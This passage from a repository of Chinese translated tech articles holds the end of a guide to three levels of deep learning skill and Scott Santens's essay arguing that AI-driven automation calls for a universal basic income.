k-折叠交叉验证，并且可能需要仔细的模型设计，以避免过拟合。\n\n我希望有一系列项目能够处理标准预测建模项目的普遍问题，例如：\n\n改变输入数据，从而展现出适用于神经网络的数据预处理技能：\n\n*   输入具有相同范围的变量。\n*   输入不同比例的变量。\n*   混合了数字类型和分类类型的变量。\n*   变量失去部分值。\n*   具有冗余输入功能的数据。\n\n处理多种目标变量，从而展现出合适的模型架构技能：\n\n*   二分类任务。\n*   多类分类任务。\n*   回归任务。\n\n## 等级 2：调试\n\n假设具有的能力等级为 1，然后展示你可以使用传统和现代的技术从深度学习神经网络模型中发挥最大的功效。\n\n它演示了下列事情：\n\n*   **学习能力**。你可以改进神经网络模型的训练过程。\n*   **泛化能力**。你可以减少训练数据的过度拟合还有减少样本外数据的泛化误差。\n*    **预测能力**。你可以降低最终预测模型的方差和提升模型的技能。\n\n### 学习能力\n\n学习能力就是说，你知道如何去配置和调整学习算法的超参数来让程序达到更好的表现。\n\n这意味着在调整随机梯度下降超参数方面的技能，例如：\n\n*   批量大小\n*   学习速率\n*   学习速率计划\n*   适应学习速率\n\n这意味着调整影响模型能力方面的技能，例如：\n\n*   模型选择\n*   激活函数的选择\n*   节点的数量\n*   层的数量\n\n化解（机器）学习过程中的相关问题的技能，例如：\n\n*   梯度消失\n*   梯度爆炸\n\n它也意味着用技术去加速学习的技能，例如：\n\n*   批处理规范化\n*   分层培训\n*   迁移学习\n\n### 泛化能力\n\n泛化能力意味着，你知道如何去配置和调整一个模型去减少过拟合，去提升模型在样本外数据的表现。\n\n这包括经典的技术例如：\n\n*   权重正则化\n*   增加噪声\n*   提前停止\n\n这也包括一些现代的技术例如：\n\n*   权重约束\n*   活动规范化\n*   随机失活\n\n### 预测能力\n\n预测能力意味着你知道如何使用技术去减少预测时所选模型的方差，并结合模型以提高性能。\n\n这意味着要使用集成技术，例如：\n\n*   模型均衡\n*   堆栈集成\n*   权重均衡\n\n### 项目\n\n证明这一能力水平的项目可能不太关注应用机器学习过程中的所有步骤，而是关注特定的问题，还有以缓解问题为设计目标的一个或多个技术。\n\n与这三方面的能力相称的问题，可能包括：\n\n*   模型训练太慢的问题\n*   对训练数据集过拟合的问题\n*   方差过高的问题\n\n再说一次，这并不意味着在一个具体的问题里实现最佳的表现，仅仅是显示技术的正确使用方法和它处理已确定问题的能力。\n\n清楚展示项目中研究的问题，比选择数据集甚至问题类型都更重要。\n\n一些数据集自然会带来一些问题，例如，小的训练集和不平衡的数据集会带来过拟合的结果。\n\n可以使用标准机器学习数据集。也可以人为设计问题然后再去证明它，或者还可以使用数据集生成器。\n\n## 等级 3：应用\n\n这个能力等级高于能力等级 1 和 2，并且展示你可以在具体问题里使用深度学习神经网络技术。\n\n这就是说，要在 simple tabular datasets 以外的场合展现深度学习的技术。\n\n这也是对问题领域里不同类型和特定问题实例的深入学习的演示。在这些领域中，这些技术可能表现良好，甚至是最先进的。\n\n它演示如下事情：\n\n*   **数据处理能力**。你可以为神经网络加载和准备具体问题的数据。\n*   **技术能力**。你可以为具体问题比较和选择合适的神经网络模型。\n\n### 数据处理能力\n\n数据处理能力意味着你可以获得，加载，使用和准备模型所使用的数据。\n\n这很可能证明运用标准库处理数据，以及运用标准技术准备数据的能力。\n\n问题域和对数据的处理可能包括：\n\n*   **时间序列预测**。将时间序列问题处理为监督学习问题的代码。\n*   **计算机视觉**。用于加载图像和转换以调整像素大小（可能是标准化）的API。\n*   **自然语言处理**。用于加载文本数据和转换译码字符或者单词的 API。\n\n### 技术能力\n\n技术能力意味着你可以准确识别适合特定领域建模问题的技术、模型和模型体系结构。\n\n这将很可能需要你熟悉学术文献和/或行业中针对该领域一般类问题使用的常用方法。\n\n问题域和针对具体问题的方法可能包括：\n\n*   **预测时间序列**。使用序列预测模型。比如卷积神经网络模型和循环神经网络模型。\n*   **计算机视觉**。使用深度卷积神经网络和使用特殊体系结构。\n*   **自然语言处理**。使用深度循环神经网络模型和使用特殊体系结构。\n\n### 项目\n\n能表现出这一能力水平的项目，必须涵盖应用机器学习过程，用上细致的模型调整方法（等级 1 和 2 的能力），还必须将重点放在特定领域的数据集上。\n\n数据集来源于这里：\n\n*   被使用在学术领域去验证方法的标准数据集\n*   机器学习竞赛网站的数据集\n*   由你收集和定义的独特数据集。\n\n可能存在大量属于给定问题域的问题。尽管会有一个更常见或更突出的子集，这些可能是示范项目的重点。\n\n域和突出的子问题的一些示例可能包括：\n\n*   **时间序列预测**。单一变量，多元变量，多步和分类。\n*   **计算机视觉**。物体分类，物体定位和物体描述。\n*   **自然语言处理**。文本分类，文本翻译和文本概括。\n\n可取的做法或许是，在跨领域的高水平层面上展示能力，这样就能让数据处理手法、建模技术和技能很好地表现出来。\n\n在解决了最突出的问题和技术之后，也可能需要专门研究某个领域，并缩小对细微子问题的演示项目的范围。\n\n因为这种类型的项目可能表现出深度学习的更广泛吸引力（例如，超越经典方法的能力），直接跳到这一水平是有危险的。\n\n有经验的从业者，要是在其他机器学习方法或者该专门领域具备更深入的知识和经验，或许能做到这一点。\n\n然而，这是非常困难的，因为你可能不得不学习并且必须一次驾驭和证明所有三个等级的能力。\n\n这是迄今为止初学者犯的最大的错误。他们钻研特定领域的项目并遇到一个又一个的障碍。因为他们对库的用法、从头到尾完成一个项目的流程以及提高模型表现的过程这几个方面还掌握得不好，更别说所涉领域中运用的特定数据处理技术和建模技术了。\n\n再说一次，可以从这一个等级开始，但给你带来的可能仅仅是三倍的工作量和挫败感。\n\n你对能力框架产生共鸣了吗？你认为这很空洞吗？\n请在评论区让我知道。\n\n## 扩展阅读\n\n如果你想研究的更深入，这一节为你提供此课题下更多的资源。\n\n### 帖子\n\n*   [建立一个机器学习文件夹](https://machinelearningmastery.com/build-a-machine-learning-portfolio/)\n*   [深度学习是什么](https://machinelearningmastery.com/what-is-deep-learning/)\n*   [8 启发性的深度学习应用](https://machinelearningmastery.com/inspirational-applications-deep-learning/)\n*   [7 自然语言处理服务的深度学习应用](https://machinelearningmastery.com/applications-of-deep-learning-for-natural-language-processing/)\n\n### 文章\n\n*   [UC Irvine 深度学习仓库](https://archive.ics.uci.edu/ml/index.php)\n*   [研究机器学习的一些数据集, 维基百科](https://en.wikipedia.org/wiki/List_of_datasets_for_machine_learning_research)\n*   [深度学习数据集](http://deeplearning.net/datasets/)\n*   [25 开放式数据集，供每个数据科学家深入学习, Analytics Vidhya](https://www.analyticsvidhya.com/blog/2018/03/comprehensive-collection-deep-learning-datasets/).\n\n## 总结\n\n在这篇文章中，你发现了深度学习能力的三个等级，作为一个从业者，你必须在每一个等级上证明什么\n\n具体而言，你学习了：\n\n*   深度学习的能力最好是通过项目组合去评估。\n*   三个能力级别的层次结构可用于对从业者进行分类，并提供一个识别预期技能的框架。\n*   最普通的错误是新手从 3 级就开始，意味着他们试图一下就学到所有的等级，导致困惑和挫折感。\n\n你有问题吗？\n在下方评论区提问，我将尽我所能去回答。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 \n"
  },
  {
    "path": "TODO1/deep-learning-is-going-to-teach-us-all-the-lesson-of-our-lives-jobs-are-for-machines.md",
    "content": "> * 原文地址：[Deep Learning Is Going to Teach Us All the Lesson of Our Lives: Jobs Are for Machines](https://medium.com/basic-income/deep-learning-is-going-to-teach-us-all-the-lesson-of-our-lives-jobs-are-for-machines-7c6442e37a49)\n> * 原文作者：[Scott Santens](https://medium.com/@2noame?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/deep-learning-is-going-to-teach-us-all-the-lesson-of-our-lives-jobs-are-for-machines.md](https://github.com/xitu/gold-miner/blob/master/TODO1/deep-learning-is-going-to-teach-us-all-the-lesson-of-our-lives-jobs-are-for-machines.md)\n> * 译者：[yuwhuawang](https://github.com/yuwhuawang)\n> * 校对者：[Justin-Wong](https://github.com/Justin-Wong), [7Ethan](https://github.com/7Ethan)\n\n# 深度学习将会给我们所有人的生活一个教训：工作是为了机器准备的\n\n**(本文的另一个版本最初发表在**[**波士顿环球报)**](http://www.bostonglobe.com/ideas/2016/02/24/robots-will-take-your-job/5lXtKomQ7uQBEzTJOXT7YO/story.html)。\n\n![](https://cdn-images-1.medium.com/max/2000/1*WtLgKg59v-CT1Jw6KCdclw.jpeg)\n\n18 次围棋世界冠军李世乭从 AlphaGo 那里学到了一些新的东西 —— 失败\n\n1942 年 12 月 2 日，一组由 Enrico Fermi 带领的科学家小组吃完午饭回来，他们在芝加哥大学操场地下的一个由砖石和木头搭成的反应堆里观察到了第一个由人类创建的自持核反应。这就是著名的[芝加哥 1 号堆](https://www.youtube.com/watch?v=0tKf7R2XncM)。尽管这些科学家非常明白这对人类来说意味着什么，但是他们只是简单地用一瓶基安蒂酒来庆祝，并不需要任何言辞。\n\n如今，一个永远改变世界的新东西又一次悄悄出现了。就像用外语轻轻说出的词汇，你很有可能听过，但是却不能完全理解它的意义。但是非常必要的是，我们要理解这个语言，以及它持续告诉我们的事情，因为这些影响将改变我们对全球化经济运作方式理所当然的一切，和我们作为人类存在于此的方式。\n\n这门语言就是机器学习的一个新的类别[**深度学习**](http://deeplearning.net/)，“低声的词汇”就是计算机不知从哪里莫名出现，并且使用它[击败三次欧洲围棋冠军樊麾](https://www.youtube.com/watch?v=SUbqykXVx0A)，不是一次，而是一连五次击败。很多看过这个新闻的人都觉得印象深刻。可是这和与李世乭的比赛没办法比。李世乭即使不是有史以来围棋水平最高的，也是在世的人中水平最高之一。想象一下这个伟大的人机大战，[中国顶尖的围棋选手认为李世乭一局都不会输，李世乭自己也很有信心的认为自己最多输一局](http://news.xinhuanet.com/english/sports/2016-02/23/c_135121693.htm)。\n\n对峙的最终结果是什么？李世乭输了[**五局中的四局**](http://www.theverge.com/2016/3/15/11213518/alphago-deepmind-go-match-5-result)。一个叫做 AlphaGo 的 AI 现在是比任何人类更好的围棋选手，并且[被授予了荣誉围棋九段](http://phys.org/news/2016-03-google-alphago-divine.html)。换句话说，它的水平就像神一样。 围棋正式被机器打败，就像综艺节目危险边缘被沃森打败，国际象棋被深蓝打败。\n\n> “AlphaGo 的历史性胜利是一个非常清晰的信号：我们从线性走到了抛物线的发展。”\n\n那么，什么是围棋？非常简单，就把围棋想象成超级大型国际象棋。听起来还是像一个小成就，机器在我们玩的有趣游戏中不断证明它们（机器）所具备的优越性，并且这还没有完全展示机器的实力。但是这并不是小成就，所发生的也不是游戏。\n\nAlphaGo 的历史性胜利是一个非常清晰地信号，我们从[线性走到了抛物线的发展](http://about.bankofamerica.com/assets/davos-2016/PDFs/robotic-revolution.pdf)。技术的进步已指数级别增长，我们可以期待看到跨越非常多的，之前不可想象的里程碑。这些指数级的进步，大多都是用人工智能解决特定的任务，只要我们继续坚持把就业作为主要的收入来源， 那我们就完全还没准备好。\n\n听起来有些夸张，那我们回顾这几十年，看一下计算机科技目前为止对人类就业的影响：\n\n![](https://cdn-images-1.medium.com/max/800/1*yPLHq5HEBTIs0VCdpe7KYA.jpeg)\n\n来源：[St. Louis Fed](https://www.stlouisfed.org/on-the-economy/2016/january/jobs-involving-routine-tasks-arent-growing)\n\n领会下上面的图表。不要被骗认为劳动自动化的对话发生在未来。这已经发生了。**计算机技术从 1990 年开始就已经蚕食工作岗位了。**\n\n#### 日常工作\n\n所有的工作分为四类：日常工作和非常规工作，认知型工作和体力工作。日常工作就是每天都做同样的事情，而非常规工作则各种各样。在这两种类型中，又包括需要我们大脑（认知）的工作和需要我们身体（体力）的工作。随着四种类型的工作都在增长，日常工作在 1990 年就停止的增长。这是因为日常的劳动对于科技来说是最容易承担的。对于不变的工作来说，可以写出规则，这种工作更加适合机器来做。\n\n让人忧虑的是，日常工作就是组成美国中产阶级的基础。亨利福特通过付给人们中产阶级的薪资，来实行的日常手工工作的变革，常规的脑力工作也曾经填满的美国的办公室。[像这样的工作现如今已经越来越少了](http://www.huffingtonpost.com/scott-santens/future-of-jobs_b_8011296.html)，只剩下两种工作看起来还不错：只需要一点思考的工作，我们只会付给做这些工作的人很少的钱，以及需要大量思考的工作，做这些工作的人收入会很好。\n\n让我们把经济想象成一架有四个引擎的飞机，现在只有依靠还在保持轰鸣的两个引擎飞行，我们暂时可以不用担心飞机会坠毁。但是如果最后两个引擎也挂了呢？机器人和 AI 技术在两个领域不断进步，因为人类第一次教会了机器如何去**学习**。\n\n#### 神经网络\n\n我本质上是个作家，但是我的教育背景碰巧是心理学和物理。我沉迷于这两个学科，所以我的本科关注点就是人类大脑的物理学，也就是[认知神经科学](http://www.sciencedaily.com/terms/cognitive_neuroscience.htm)。我认为，一旦你开始研究人类的大脑是如何工作的，神经元是如何相互连接并且形成我们说的心智，你会发现一切都变了。至少对我来说一切都变了。\n\n简短说明大脑的功能，他们是由相互连接的细胞组成的巨大的网络。其中一些连接很短，另一些则很长。有些细胞只会和一个细胞相连，而另一些则会和很多细胞连接。电信号以不同的速度，通过这些连接传递，最终依次点燃这些神经元。这就像倒下的多米诺骨牌，但是更快，更大和更复杂。结果令人惊讶的是我们，以及我们学到的如何工作，我们现在会把这些应用到机器上面去。\n\n下面的应用中有一个是由[**深度神经网络**](http://www.wired.com/2016/01/microsoft-neural-net-shows-deep-learning-can-get-way-deeper/)创建 —— 有点像简装版的虚拟大脑。它提供了一个通向机器学习的大道，并且超越了之前所有可能的想象，有了巨大的飞跃。这是如何做到的？不只是计算机能力的明显增长和神经科学认知的深入，还包括我们收集的极速增加的数据，也叫做**大数据**。\n\n#### 大数据\n\n大数据不只是流行词那么简单而已。大数据是信息，而且是我们每天都在创造的信息。事实上我们创造了太多的数据，根据 SINTEF 2013 年的报告预计[世界上 90% 的信息都是两年内创造的](http://www.sciencedaily.com/releases/2013/05/130522085217.htm)。数据的正在以不可思议的速度增加[每 1.5 年翻一倍](http://www.datamation.com/applications/big-data-analytics-overview.html)。在因特网上，2015 年[我们**每分钟**在 Facebook 上点 420 万个赞，在 Youtube 上传 300 个小时的视频，并且发 350000 个推文](https://www.domo.com/blog/2015/08/data-never-sleeps-3-0/)。我们做的所有事情都创造了之前没有的数据，并且其中很多数据正是机器**学习**所需要的。为什么？\n\n想象一下写一个识别椅子的程序，你需要输入大量的指令，但是这个程序仍然会把不是椅子的东西识别成椅子，对于真正的椅子，也会识别**失败**。那么，**我们**是怎么学会识别椅子的？我们的父母指着一把椅子说，“这是椅子。” 然后我们就觉得我们已经学会什么是椅子了，所以我们指着一张桌子说，“这是椅子。”这时候我们的父母就会告诉我们说，“这是桌子。”这就是强化学习。“椅子”这个标签就和我们见到的每一把椅子关联了起来，这样一种确定的神经通路就建立了，与此同时，其他的却没有。要想定位到我们大脑里的“椅子”，我们观察到的东西必须和之前遇到的椅子非常接近才可以。本质上来说，我们的生活就是大脑过滤的大数据。\n\n#### 深度学习\n\n深度学习的魔力就是提供了方法，让机器可以像我们一样使用大量数据，而不需给它们太多指令。不用描述“椅子的特性”，我们只需要把机器连上网，给它灌输数以百万计的椅子照片。机器就可以得到一个整体的“椅子的特性”。接着我们用更多椅子的照片来测试它。如果它错了，我们就纠正它，那么它识别“椅子特性”的能力就会增强。重复这些过程，计算机就能在看到一把椅子的时候认出来，[基本上和我们做的一样好](https://research.facebook.com/publications/deepface-closing-the-gap-to-human-level-performance-in-face-verification/)。这中间最重要的不同就是[不像我们，他们可以**在几秒钟内**就识别**几百万**图像](https://www.youtube.com/watch?v=t4kyRyKyOpo)。\n\n深度学习和大数据的结合在过去短短几年取得了令人震惊的成就。除了不可思议的 AlphaGo 之外，通过成千上万的标注过的新闻，[谷歌的 DeepMind AI 学会了如何去阅读，并且理解它所读到的](https://www.technologyreview.com/s/538616/google-deepmind-teaches-artificial-intelligence-machines-to-read/)。[DeepMind 同时_自学_了几十个 Atari 2600 的电子游戏，而且玩儿的比人类还好](http://www.nature.com/nature/journal/v518/n7540/full/nature14236.html)，也仅仅是观察屏幕和分数，然后不停的玩儿而已。一个叫 Griraffe 的 AI 通过 1 亿 7 千 5 百万棋谱学会了国际象棋，[在不断和自己下了 72 个小时的棋之后，达到了国际大师的水平](https://www.technologyreview.com/s/541276/deep-learning-machine-teaches-itself-chess-in-72-hours-plays-at-international-master/)。2015 年，[一个 AI 经过学习甚至通过了一个视觉图灵测试](http://news.mit.edu/2015/computer-system-passes-visual-turing-test-1210)，测试的方式就是给机器看一个不认识的科幻字母表的字符，然后立刻用和人类一样的方式复述这个字母。这些就是 AI 领域**主要的**里程碑。\n\n尽管跨越了这些里程碑，当专家们在 [Google 宣布 AlphaGo](http://googleresearch.blogspot.com/2016/01/alphago-mastering-ancient-game-of-go.html) 胜利几个月之前，被问到什么时候计算机可以击败一个卓越的围棋选手，“[也许还需要十年](http://www.wired.com/2014/05/the-world-of-computer-go/)。”十年听起来是个正常的猜测，因为围棋十分复杂，我就用危险边缘节目的 Ken Jennings [另一个被 AI 打扮的冠军](http://www.slate.com/articles/technology/technology/2016/03/google_s_alphago_defeated_go_champion_lee_sedol_ken_jennings_explains_what.html)，来描述它:\n\n> 围棋的有名的难，比国际象棋难得多，有更大的棋盘，更长时间的对弈，棋子也多得多。Google 的 DeepMinde 人工智能小组喜欢说围棋的变化比已知宇宙里的原子还多，但这也极大地**低估了**计算问题。围棋棋盘上有 10¹⁷⁰ 位置可能，可宇宙里只有 10⁸⁰ 个原子。这也就意味着，如果平行宇宙的数量和我们宇宙里原子的数量一样多的话（！），**所有**宇宙里**所有**原子加起来也就和一个围棋棋盘上的所有可能性接近。\n\n如此混乱复杂，让任何暴力扫描所有可能行来确定最好的那一个的方法变得不可能。但是深度神经网络绕过了这个障碍，用了和我们大脑一样的方式，去学着评估什么**感觉**是最佳的一招。我们通过观察和联系来学习，AlphaGo 也是一样的，通过分析几百万的专业对局，并且[自我对弈了几百万次](http://www.wired.com/2016/03/googles-ai-viewed-move-no-human-understand/)。因此什么时候围棋会被机器打败，很有可能不是十年，正确的答案是“**在目前的任何时候**。”\n\n#### 非常规的自动化\n\n在目前的任何时候。在 21 世纪对于机器能够比人做的更好的问题，有了新的回答，我们应该时刻记住这一点。\n\n![](https://cdn-images-1.medium.com/max/600/1*4hNt7iSp_JtWjxoFgllSkg.png)\n\n我们需要认识到，技术指数级的增长,对于有史以来第一次改变整个非常规工作的劳动力市场，意味着什么。机器能够学习，就意味着再也没有任何人类的工作是安全的了。从[汉堡包](http://singularityhub.com/2013/01/22/robot-serves-up-340-hamburgers-per-hour/)到[健康护理](https://deepmind.com/health)，能够胜任这些**任务**的机器都可以很轻松的被创造出来，而且比人类便宜的多。\n\n[Amelia](http://www.entrepreneur.com/article/245827) 就是一个**正在**很多公司进行测试的 AI。由 IPsoft 公司经过 16 年的研发，她已经胜任呼叫中心员工的角色。她能够在几秒钟之内，用 20 种不同的语言,学到我们要花几个月学会的东西。因为她可以学习，所以随着时间的推进，她能够做的更多。在一个部署了 Amelia 的公司里，第一周她就成功地负责了十分之一的呼叫，而到了第二个月底，她已经可以解决十分之六的呼叫了。就因为这样，有预测她会在**全球范围**内让超过 2.5 亿人失去工作。\n\n[Viv](http://www.esquire.com/lifestyle/a34630/viv-artificial-intelligence-0515/) 是一个由 Siri 的创造者,即将给我们带来的 AI 私人助理。她可以为我们执行各种在线的任务，她甚至还能够是更强大版本的 Facebook 新闻流，她推荐给我们的信息一定都是我们最喜欢看的。通过 Viv，我们将会看到更少的广告。这也就意味着，广告业 —— 整个互联网建立的基础 —— 即将被摧毁。\n\n一个充满了 Amelia 和 Viv —— 以及数不清的即将上线的 AI 同行者的世界 —— 再加上像 [Boston Dynamics’ next generation Atlas](https://www.youtube.com/watch?v=rVlhMGQgDkY) 这样的机器人，预示着一个机器能够做**所有类型**工作的世界，带来了严重的社会考虑。如果机器能够代替人工作，[人类是否就被迫受到缺乏工作的威胁](https://www.youtube.com/watch?v=N8n5ZL5PwiA)？收入是否还应该是雇佣有关联，也就是说工作是获取收入的唯一途径，那么当[大多数工作都被机器取代](http://www.huffingtonpost.com/scott-santens/the-job-market-a-game-of-_b_7581704.html)了呢？如果机器可以持续替代我们的工作，并且一分钱收入都不要，[那么这些钱又会去哪儿呢?](http://mic.com/articles/119896/after-robots-take-our-jobs-basic-income-is-the-best-solution)[如果没人买东西了会怎么样？](http://www.cabot.net/issues/cwa/archives/2015/11/guaranteed-basic-income)[我们创造的很多工作是不是根本不需要存在？](http://strikemag.org/bullshit-jobs/)，而只是因为这些工作能带来收入？我们需要开始赶快提出这些问题。\n\n#### 收入和工作解耦\n\n幸运的是，人们**正在**[开始](http://www.brookings.edu/blogs/techtank/posts/2015/10/26-emerging-tech-employment-public-policy-west)[提出](http://futurism.com/interview-chris-eliasmith-talks-reverse-engineering-the-brain-dangerous-ai-and-universal-basic-income/)[这些](http://www.businessinsider.com/ai-expert-jeremy-howard-on-universal-basic-income-2015-12)[问题](http://www.forbes.com/sites/roberthof/2016/01/28/ai-guru-andrew-ng-government-must-play-big-role-in-rollout-of-self-driving-cars/2/#5ca975ed6971)，一个很有势头的答案也出现了。这个答案就是让机器给我们工作，为了我们人类提供能量，去寻找剩下的最有价值的适合人类的工作，只要简单的给每个人按月提供与工作无关的薪水。这个薪水应该无条件的授予所有的公民，这个薪水就叫[**统一基本收入**](https://medium.com/working-life/why-should-we-support-the-idea-of-an-unconditional-basic-income-8a2680c73dd3)。通过实施统一基本收入（UBI）方案，除了对自动化的副作用[免疫](https://medium.com/basic-income/universal-basic-income-as-the-social-vaccine-of-the-21st-century-d66dff39073)之外，我们也面临着[企业家精神](http://www.geektime.com/2015/12/17/how-a-universal-basic-income-could-fuel-entrepreneurship/)以及为了提高收入所必需的[政府机构数量](http://www.usbig.net/papers/144-Sheahen-RefundableTaxCredit.pdf)减少的风险。正因为如此，统一基本收入（UBI）获得了[跨党派的支持](http://www.fastcoexist.com/3040832/world-changing-ideas/a-universal-basic-income-is-the-bipartisan-solution-to-poverty-weve-bee)，甚至在[瑞士](http://www.basicincome2016.org/blog/universal-basic-income-first-representative-survey-in-switzerla)、[芬兰](http://www.vox.com/2015/12/8/9872554/finland-basic-income-experiment)、[挪威](http://www.basicincome.org/news/2015/07/dutch-municipalities-experiments/)和[加拿大](http://www.cbc.ca/news/politics/guaranteed-minimum-income-merits-further-study-pre-budget-report-says-1.3490157)，这个方案已经开始实施。\n\n未来充满了快速变化。用过去的老眼光看待未来是不明智的，新的工作总是会出现。[2016 年 WEF 预测到 2020 年，有 200 万新的工作会出现，同时 700 万旧的工作会消失](http://www.weforum.org/reports/the-future-of-jobs)。这是净亏损，而不是净收益 500 万工作。在一份经常被引用的论文里，[牛津的研究表明到 2033 年一半的工作都会被自动化取代](https://www.technologyreview.com/s/519241/report-suggests-nearly-half-of-us-jobs-are-vulnerable-to-computerization/)。与此同时，自动驾驶，同样是机器学习的功劳，将会极大的冲击所有的经济体 —— [尤其是美国经济，我去年写的关于卡车自动驾驶有提及](https://medium.com/basic-income/self-driving-trucks-are-going-to-hit-us-like-a-human-driven-truck-b8507d9c5961) —— 会在很短的时间内替代几百万个工作。\n\n![](https://cdn-images-1.medium.com/max/600/1*DmAswJfSRjbimEAA82s2eg.gif)\n\n甚至在白宫，[一个惊人的国会报告中](https://www.whitehouse.gov/sites/default/files/docs/ERP_2016_Book_Complete%20JA.pdf \"www.whitehouse.gov\")指出，一个时薪低于 20 美金的人，他的工作有 83% 的可能性最终被机器取代。甚至那些时薪 40 美金的人也有 31% 的可能。忽略这种可能性就像在冷战时期我们用“[躲避和掩护](https://www.youtube.com/watch?v=C0K_LZDXp0I)”策略来避免核爆炸一样可笑。\n\n这就是为什么在 AI 领域知识渊博的人都在为积极地为基本收入敲响了警钟。在 2015 年末奇点大学的一次小组会议上，杰出的数据科学家 [Jeremy Howard](http://www.businessinsider.com/ai-expert-jeremy-howard-on-universal-basic-income-2015-12) 问道：“你们会让一半的人因为他们不能增加经济价值就让他们挨饿吗？”在给出建议之前，“如果答案是不，最聪明的办法就是通过实施**统一基本收入**来分配财富。”\n\nAI 先锋 [Chris Eliasmith](http://futurism.com/interview-chris-eliasmith-talks-reverse-engineering-the-brain-dangerous-ai-and-universal-basic-income/)，理论神经科学中心的主任，在一次未来主义的采访中警告大家 AI 直接带来的冲击，“AI 已经给我们的经济带来了很大的冲击……我怀疑会有更多的国家追随芬兰的脚步实施基本收入保障。”\t\n\nMoshe Vardi 在美国先进科学协会的年会上的演讲，也对出现的智能机器[表达过同样的感受](http://www.huffingtonpost.com/entry/the-moral-imperative-thats-driving-the-robot-revolution_us_56c22168e4b0c3c550521f64)，“我们要重新思考我们经济系统的基本结构……我们需要考虑建立基本收入保障机制。”\n\n就连百度的首席科学家，也是 Google 的 “Google 大脑” 的创始人[吴恩达](http://www.forbes.com/sites/roberthof/2016/01/28/ai-guru-andrew-ng-government-must-play-big-role-in-rollout-of-self-driving-cars/#46bb8e8a6b12)，也在今年的深度学习峰会上的一次台上采访中表述，政府必须要“严肃的考虑”**基本收入机制**，他说，“AI 有很大的机会取代很多人力工作。”\n\n当创造这些工具的人开始警告大家使用这些工具带来的冲击时，我们难道不应该希望尽可能注意地去使用这些工具吗？尤其是它会让数百万人的生活危如累卵。如果不是这样，为什么[诺贝尔经济学奖获得者们](http://www.basicincome.org/news/2016/02/international-christopher-pissarides-a-nobel-economist-argues-for-ubi-at-a-debate-in-davos/)也开始支持基本收入保障？\n\n没有一个国家对于即将到来的变化做好的准备。大量劳动力游离在社会之外，社会会变得更加动荡，而在消费经济中，缺少消费者也会让经济动荡。让我们扪心自问，我们创造科技的目的是什么？能替我们自动驾驶的车，能减轻我们 60% 的工作量的人工智能的目的是什么？会不会让我们工作更长的时间却获得更少的报酬？或能让我们选择我们工作的方式，并且减少工作时间，因为我们已经赚取了机器不会拿的收入？\n\n在机器都可以学习的世纪，我们学到的最重要的一课是什么？\n\n**我的建议是工作交给机器，生活留给人类。**\n\n* * *\n\n![](https://cdn-images-1.medium.com/max/600/1*A5T3a8K4JR2TlT4G6x9Z4A.png)\n\n**这篇文章是我众筹月度基本收入的一部分。如果你觉得本文有价值，你可以用[每月承诺](http://www.patreon.com/scottsantens)一美元以上来支持我。**\n\n> [你是一位创作者吗？成为 Patreon 的一员吧。](https://patreon.com/invite/xxgw). 加入我[大 Patreon 创作者承诺基本收入](http://www.patreon.com/scottsantens)\n\n* * *\n\n**特别鸣谢 Arjun Banker, Steven Grimm, Larry Cohen, Topher Hunt, Aaron Marcus-Kubitza, Andrew Stern, Keith Davis, Albert Wenger, Richard Just, Chris Smothers, Mark Witham, David Ihnen, Danielle Texeira, Katie Doemland, Paul Wicks, Jan Smole, Joe Esposito, Jack Wagner, Joe Ballou, Stuart Matthews, Natalie Foster, Chris McCoy, Michael Honey, Gary Aranovich, Kai Wong, John David Hodge, Louise Whitmore, Dan O’Sullivan, Harish Venkatesan, Michiel Dral, Gerald Huff, Susanne Berg, Cameron Ottens, Kian Alavi, Gray Scott, Kirk Israel, Robert Solovay, Jeff Schulman, Andrew Henderson, Robert F. Greene, Martin Jordo, Victor Lau, Shane Gordon, Paolo Narciso, Johan Grahn, Tony DeStefano, Erhan Altay, Bryan Herdliska, Stephane Boisvert, Dave Shelton, Rise & Shine PAC, Luke Sampson, Lee Irving, Kris Roadruck, Amy Shaffer, Thomas Welsh, Olli Niinimäki, Casey Young, Elizabeth Balcar, Masud Shah, Allen Bauer, all my other funders for their support, and my amazing partner, Katie Smith.**\n\n> [**你想在这里看到你的名字吗？**](http://www.patreon.com/bePatron?rid=120769&u=296170&patAmt=7.00#/r120769)\n\n* * *\n\n#### → [参加统一收入计划基本收入调查](https://docs.google.com/forms/d/13nhbJokjZQayv_ndZHHzcB3bX9kq-Ieq6a84bASgLoA/viewform?c=0&w=1) ←\n\n* * *\n\n**Scott Santens 在他的[博客](http://scottsantens.com)上写过基本收入的文章。你可以在[**Medium**](https://medium.com/@2noame)、[**Twitter**](https://twitter.com/2noame)、[**Facebook**](https://www.facebook.com/scottsantens) 或者 [Reddit](http://www.reddit.com/user/2noame/) 上的[/r/BasicIncome](http://www.reddit.com/r/basicincome/wiki)关注他，他是这个有着 30000 多订阅的社区的主持人。\n\n**如果你认为别人也会欣赏这篇文章，请点击绿色的心。**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 